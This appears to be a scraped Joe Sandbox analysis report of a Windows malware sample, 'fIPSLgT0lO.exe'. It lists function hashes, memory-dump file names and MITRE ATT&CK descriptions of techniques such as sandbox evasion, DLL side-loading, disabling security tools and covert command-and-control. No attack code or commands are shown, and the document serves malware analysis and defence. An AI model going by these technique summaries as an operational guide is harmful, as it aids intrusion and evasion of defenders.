Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 05A84FD0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2930672241.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 059C0000, based on PE: true

Associated: 00000000.00000002.2930414690.00000000059C0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59c0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418804ba49e1aebc8fa1d3dc0919575ec75d589b23f2178018c5335086f87319
Instruction ID: 9c1d638d28ae4b7c3dd7acd5f35345a8f978fe62c4878920a0d217ca8927f91a
Opcode Fuzzy Hash: 418804ba49e1aebc8fa1d3dc0919575ec75d589b23f2178018c5335086f87319
Instruction Fuzzy Hash: B2B01230260208CFC200DB5DD444C0033FCBF49E0434000D0F1088B731C721FC008A40

Function 05A81908 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2930672241.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 059C0000, based on PE: true

Associated: 00000000.00000002.2930414690.00000000059C0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59c0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5eb72067fed8854930cd444c33f8aa4547440c6d07461089e768dca1184161
Instruction ID: 261f042a08c74ba0d4c92e966f3a41b0414c2d6d52b4621d91104e845078d6de
Opcode Fuzzy Hash: 2d5eb72067fed8854930cd444c33f8aa4547440c6d07461089e768dca1184161
Instruction Fuzzy Hash: 73A01130000A088A808033E0A00FE2CBA2CAC80808B820080F80C00002AE2820200AAB

Non-executed Functions

Function 05BA1470 Relevance: 2.8, Strings: 2, Instructions: 341COMMON

Download Yara Rule

Strings

,p, xrefs: 05BA1566
(p, xrefs: 05BA1814

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$,p
API String ID: 0-2293223000
Opcode ID: 3d20c5f6c9dc52a2671784e0c35c2bfa71a847afc8a716118167197e1a81fdbb
Instruction ID: 79f26aa24dcd4ef905576cae83e38bb9f76003edcbfaf02b6dbd4c41aacd7080
Opcode Fuzzy Hash: 3d20c5f6c9dc52a2671784e0c35c2bfa71a847afc8a716118167197e1a81fdbb
Instruction Fuzzy Hash: 34D11975A046059FCB55CF6DC584AAABBF2FF88311F29C599D806AB361DB30EC81CB50

Function 019717CF Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4'p, xrefs: 0197187E
4'p, xrefs: 019718A9

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: b1ca5edbcf787b16f8576c2890d360390eea0d34660c986b05feb327f7a63bef
Instruction ID: c5d98a1ff0463a6b466e0056b51188e696107766afe9801264ccdea099a2b1d6
Opcode Fuzzy Hash: b1ca5edbcf787b16f8576c2890d360390eea0d34660c986b05feb327f7a63bef
Instruction Fuzzy Hash: 01613AB1A002018FD758DFAAE9416AABBE7FBDC300F18D52AC5049B279EF755D068F50

Function 01976F91 Relevance: 2.7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

4'p, xrefs: 0197706A
4'p, xrefs: 0197703F

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 7869b97864e13ba60419e81a1346c9c7cef40e834e98fa5be136b165d62578ca
Instruction ID: aef5751ce25dab65c5e3936512157ed8d49934be31899c1db8536fc9aed6649c
Opcode Fuzzy Hash: 7869b97864e13ba60419e81a1346c9c7cef40e834e98fa5be136b165d62578ca
Instruction Fuzzy Hash: A0614A70A056058FD708DF7EE8516AABBE7EBE9300F14D12EC0089B278EF755D068B91

Function 019717E0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

4'p, xrefs: 0197187E
4'p, xrefs: 019718A9

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 479dfb1614a924fdabaaa07e5c4962a8b19925f0ea3e2ded4da20023900881e0
Instruction ID: 334297f5cafc62790f6a3cb250c1e888fa7d7358d167b37d88b1efa126b3c33a
Opcode Fuzzy Hash: 479dfb1614a924fdabaaa07e5c4962a8b19925f0ea3e2ded4da20023900881e0
Instruction Fuzzy Hash: 0E512BB0A002058FD748DFAAE9416AABBE7FBDC300F18D52AC5049B279EF755D068F50

Function 01976FA0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

4'p, xrefs: 0197706A
4'p, xrefs: 0197703F

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 42ece5dfe40499577e4e2406d9bab3947659e934b22b771b5c60c183c2927c0f
Instruction ID: 20ac8ceb34a3646635903009c9b6c0ca2538c3553a5696287adbe434e0ca78af
Opcode Fuzzy Hash: 42ece5dfe40499577e4e2406d9bab3947659e934b22b771b5c60c183c2927c0f
Instruction Fuzzy Hash: 86513C70A056058FD708DF7EE9516AABBE7EBE9300F14D12EC0089B278EF755D068B91

Function 05BC4DE0 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\V]m, xrefs: 05BC5097

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: \V]m
API String ID: 0-4105700344
Opcode ID: 1b925036d18d7b5f81298b3aa87f261d4a68d1097642abc3a85c27a4ea0ea585
Instruction ID: e4c1b382a006ea3a04f025e911eb632abb128eb26ee8cf81e23a350407fdf8cf
Opcode Fuzzy Hash: 1b925036d18d7b5f81298b3aa87f261d4a68d1097642abc3a85c27a4ea0ea585
Instruction Fuzzy Hash: C3B14E70E002098FDF14CFA9C895BAEBBF2FB88305F1481ADD415E7294EB74A945CB95

Function 01971DA8 Relevance: .8, Instructions: 834COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fdfeb4b3340dc546854670c9c2577d99f9821b628fba85c0dba7946d6b109fc
Instruction ID: ae038f21b8bf34a10f46f9d14eb3b5e0168d609515627794fc85f634cc85389d
Opcode Fuzzy Hash: 2fdfeb4b3340dc546854670c9c2577d99f9821b628fba85c0dba7946d6b109fc
Instruction Fuzzy Hash: 35727D31B483678FC756CF28C8A159CF7B2FF84228B5A856DC4859BA87D3349916CBC4

Function 01971DE2 Relevance: .7, Instructions: 737COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fda5dec85020ed69ca7ab1521cdb4efd6c7e6c6d5cd88efd864e61089a39404
Instruction ID: 2ba822f8b139a6af2d30866e49f1a7a448c57510a361c3ecbe39647452b4978a
Opcode Fuzzy Hash: 5fda5dec85020ed69ca7ab1521cdb4efd6c7e6c6d5cd88efd864e61089a39404
Instruction Fuzzy Hash: E2624E31B88367CFC756CF28CCA159CB7B2FF84228B0A456DC4859BA86D3349956CBC5

Function 01971EBD Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8171f083f8f2b22a6ff418806571c14f67132ce85fb6f77f161da91d8102fadf
Instruction ID: 09aeeb43f2aa00f73c7b459cb551f6030a3616b148e0d0568fde1c2668c459f5
Opcode Fuzzy Hash: 8171f083f8f2b22a6ff418806571c14f67132ce85fb6f77f161da91d8102fadf
Instruction Fuzzy Hash: 92625030B58367CFC756CF28CCA159CB7B2FF84228B0A456DC4858BA86D3349956CBC5

Function 01971E0C Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c477e3b7cf0a902d4924053a4efc2784f0b771c09fd0931ccc2897685acaeb76
Instruction ID: 8e55f655b98c62294bcb35032b410a0d03f757b06898e9640f3792f71fcc4c6e
Opcode Fuzzy Hash: c477e3b7cf0a902d4924053a4efc2784f0b771c09fd0931ccc2897685acaeb76
Instruction Fuzzy Hash: 9E625F30B98367CFC756CF28CCA159CB7B2FF84228B0A456DC4858BA86D3349956CBC5

Function 01971E2C Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5bc9443f72243ecdfbc8842b7373953cfb6694a1d1828914b61bd3f6d7e8a3
Instruction ID: 6feac7256af0bcb277adb9457105c01bcf9ee98be64972511013c84ed563d542
Opcode Fuzzy Hash: 8f5bc9443f72243ecdfbc8842b7373953cfb6694a1d1828914b61bd3f6d7e8a3
Instruction Fuzzy Hash: 8E624F31B98367CFC756CF28CCA159CB7B2FF84228B0A456DC4858BA86D3349956CBC5

Function 01971E40 Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5635fb28ba111d4fdb4f1f6b40b44110eb38b2fa20eef9f5553c00879d4ecf3
Instruction ID: a097563c4919c6888006cfae7146dd3d885e1e10d2f83be5834a1a6309708dfb
Opcode Fuzzy Hash: e5635fb28ba111d4fdb4f1f6b40b44110eb38b2fa20eef9f5553c00879d4ecf3
Instruction Fuzzy Hash: 9E624F30B98367CFC756CF28CCA159CB7B2FF84228B0A456DC4859BA86D3349956CBC5

Function 01971E68 Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2890d0367ede5ecd5038d1ba62518081ebdf972b05a0d75d2b5889a6e2273ed0
Instruction ID: 1456cff3cac803be12ab5c7858311c6cc4d426a48fa68a6eb9ba84ea729896c4
Opcode Fuzzy Hash: 2890d0367ede5ecd5038d1ba62518081ebdf972b05a0d75d2b5889a6e2273ed0
Instruction Fuzzy Hash: E5624F30B98367CFC756CF28CCA159CB7B2FF84228B0A456DC4859BA86D3349956CBC5

Function 0197408C Relevance: .7, Instructions: 728COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ee50d1be9fe26f70cbcba0fb333099e5abe2d4b439e356b0ba9c46e36fb741
Instruction ID: 2ebebdfb5a18150dd77459dd0496bd8cff659f34f7879b5b12ed57c18a4ac32d
Opcode Fuzzy Hash: 55ee50d1be9fe26f70cbcba0fb333099e5abe2d4b439e356b0ba9c46e36fb741
Instruction Fuzzy Hash: 0D625031B88367CFC756CF28CCA159CB7B2FF84228B0A456DC4859BA86D3349956CBC5

Function 05BCA98C Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918d4446784febbda7eb11f73d4f6c0c326a3cde4d87ef0f763bfdaa33016379
Instruction ID: 1b1e1837b418c0a166103d8c5330188aacb0f96b766f0ff35c761dde23c370db
Opcode Fuzzy Hash: 918d4446784febbda7eb11f73d4f6c0c326a3cde4d87ef0f763bfdaa33016379
Instruction Fuzzy Hash: 01D13D30A44108CFD754CF58D595BAA7BB3FB88311F2980E9E4469B7A9CB75BC82CB44

Function 05BCA430 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ca94070df585e841346d896ac09ab7f48a6a9128186a060f8ac6d3f43aa2507
Instruction ID: cae2444cd44e23eb033088e85baa59c69c2c341b1bbd5b0258d6e0af6566eb31
Opcode Fuzzy Hash: 7ca94070df585e841346d896ac09ab7f48a6a9128186a060f8ac6d3f43aa2507
Instruction Fuzzy Hash: 13C1E634A45108CFD714CB68D888FA9BBB2FF88315F5580E9E4069B7A5CB75AD82CF44

Function 05BCCB1A Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7856e317724529f6684ed849df5386fb26316ee2943545e2edab42a40e7233b3
Instruction ID: 9d0ad07091ec99f6a300a8bfbfc2db7c73bef674848294561960fc82e99480a4
Opcode Fuzzy Hash: 7856e317724529f6684ed849df5386fb26316ee2943545e2edab42a40e7233b3
Instruction Fuzzy Hash: E9A15A34A08105CFD724CB64C458BBE7FA3FB98304F6080EDC45A9B685DB79AD86CB49

Function 019746B0 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dfe81fb8c4877a7de842b3bb3689d3e66a5eef3b49c55b722d7783cc69d5b4c
Instruction ID: 469d201124056fe750731b5b95326e7717924c82350f3bf2cb49e9b4a33f17e4
Opcode Fuzzy Hash: 5dfe81fb8c4877a7de842b3bb3689d3e66a5eef3b49c55b722d7783cc69d5b4c
Instruction Fuzzy Hash: C4715E71E0052A8BDB15CFA9C8816AEFBF2FF88311F148629D459E7206D734E946CB90

Function 05BC6068 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 108b70eaaf93925bf2dee5c4c457ebe05d60faeefdf5f35cea5cfc8c8956afd3
Instruction ID: befe5f1b8a26f9b62610c12933aa6cb43d53bdbeb7faf025932b24800164eb47
Opcode Fuzzy Hash: 108b70eaaf93925bf2dee5c4c457ebe05d60faeefdf5f35cea5cfc8c8956afd3
Instruction Fuzzy Hash: 7C718D30A05105CFDB14CF68D485FB97BB7FB88315F2580E9D446AB6A6DB35AC81CB48

Function 05BACA20 Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

(_p, xrefs: 05BAD0E5
(_p, xrefs: 05BAD0DB
(_p, xrefs: 05BAD12B
(_p, xrefs: 05BAD161

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (_p$(_p$(_p$(_p
API String ID: 0-1436489877
Opcode ID: 791df57a9ac22643e3fa3c8477ade77b6c5db7435329f9d0c99b206c39c4134f
Instruction ID: 329068d62076bfd96a8e3bd10ecc4844b57e0845ed7c8abff6fea76f666ebba7
Opcode Fuzzy Hash: 791df57a9ac22643e3fa3c8477ade77b6c5db7435329f9d0c99b206c39c4134f
Instruction Fuzzy Hash: 97519376B042058FCB04DF78C45596EBBB2FF89300B6445ADE5069B765EB36EC42CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fIPSLgT0lO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Windows Analysis Report
fIPSLgT0lO.exe

Function 05BA7A08 Relevance: 7.9, Strings: 6, Instructions: 403
COMMON

Function 05BA6B40 Relevance: 4.2, Strings: 3, Instructions: 472
COMMON

Function 05BA8400 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Function 05BAE108 Relevance: 4.1, Strings: 3, Instructions: 359
COMMON

Function 05BA9F71 Relevance: 4.0, Strings: 3, Instructions: 209
COMMON

Function 05BA24F1 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Function 05BAB538 Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Function 05BAB52A Relevance: 2.8, Strings: 2, Instructions: 269
COMMON

Function 05BA1D78 Relevance: 2.7, Strings: 2, Instructions: 171
COMMON

Function 05BA9DE0 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Function 05AB1140 Relevance: 2.6, Strings: 2, Instructions: 149
COMMON

Function 05BA79E2 Relevance: 2.6, Strings: 2, Instructions: 120
COMMON